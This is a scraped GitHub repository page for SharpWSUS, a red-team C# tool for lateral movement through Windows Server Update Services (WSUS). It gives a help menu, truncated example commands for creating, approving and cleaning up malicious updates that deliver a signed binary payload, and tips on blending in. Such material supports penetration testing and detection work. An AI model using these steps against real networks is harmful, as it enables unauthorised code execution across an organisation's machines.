Sign in

nettitude / SharpWSUS Public

Notifications | Fork 73 | Star 439

Code | Issues 2 | Pull requests 1 | Actions | Projects | Security | Insights

main | Go to file | Code

- SharpWSUS
- .gitignore
- README.md
- SharpWSUS.sln

README

SharpWSUS

SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection.

Credits

Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility.

About

No description, website, or topics provided.

- Readme
- Activity
- Custom properties
- 439 stars
- 8 watching
- 73 forks

Report repository

Releases

No releases published

Packages

No packages published

Languages

- C# 100.0%

- https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS
- https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS

Help Menu

```
 ____  _                   __        ______  _
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| |
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| |
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \_
                       |_|
           Phil Keeble @ Nettitude Red Team



Commands listed below have optional parameters

Locate the WSUS server:
    SharpWSUS.exe locate

Inspect the WSUS server, enumerating clients, s
    SharpWSUS.exe inspect

Create an update (NOTE: The payload has to be a
    SharpWSUS.exe create /payload:[File locatio

Approve an update:
    SharpWSUS.exe approve /updateid:[UpdateGUID

Check status of an update:
    SharpWSUS.exe check /updateid:[UpdateGUID]

Delete update and clean up groups added:
    SharpWSUS.exe delete /updateid:[UpdateGUID]
```

Example Usage

```
sharpwsus locate

sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documen

sharpwsus approve /updateid:9e21a26a-1cbe-4145-

sharpwsus check /updateid:9e21a26a-1cbe-4145-93

sharpwsus delete /updateid:9e21a26a-1cbe-4145-9
```

Notes

- Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement.
- The metadata on the create command is not needed, but is useful for blending in to the environment.
- If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not)